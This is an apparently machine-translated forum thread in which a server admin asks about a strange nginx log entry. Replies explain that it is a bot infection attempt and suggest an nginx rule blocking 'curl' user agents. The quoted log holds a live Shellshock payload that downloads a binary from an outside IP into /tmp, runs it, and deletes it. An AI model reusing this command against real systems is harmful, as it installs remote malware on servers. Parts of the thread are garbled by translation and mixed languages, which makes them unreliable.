Today I accidentally discovered a very strange log in the access.log of nginx on the company server:
61.136.82.154 - - [07/Jan/2017:02:27:26 +0000] "GET / HTTP/1.0" 200 3770 "-" "() { :;}; /bin/bash -c \x22curl -o /tmp/mig http://37.1.202.6/mig;/usr/bin/wget http://37.1.202.6/mig -O /tmp/mig;chmod +x /tmp/mig;/tmp/mig;rm -rf /tmp/mig*\x22" "-"
When it comes to strange places:
is using http1.0
user-agent is a script
I searched around the Internet and found no information about using user-agent to attack. Although I can get the script code by following the address in the log, my ability is limited and I cannot analyze its attack target. .
Excuse me, any experts, do you have relevant information and experience? Please share it with me, thank you very much! !
Replenish:
Under what configuration conditions of nginx will it parse the content in user-agent?
![[Web front-end] Node.js quick start](https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png)
This should be
You can look at youhttp1.0的user-agent漏洞，你的服务器可能被对方注入脚本，他在你上面伪装了一个apache的服务，把你的服务器搞成了肉鸡，并操纵他进行DDOS攻击，但是我不知道nginxWill this script be executed?You can look at this code.
access.log中http://37.1.202.6/mig这个地址。可以看到有个a文件http://37.1.202.6/aScanner injected. . . User-Agent will be parsed.
1. Install application firewall
2. Configure Nginx
`
if ($http_user_agent ~* 'curl') #Configure the rejected user_agent.
{
return 403;
}
`
One paragraph
perl脚本，作用就是 伪装成ApacheThen accept instructions to do something. . . That's right, catching broilers.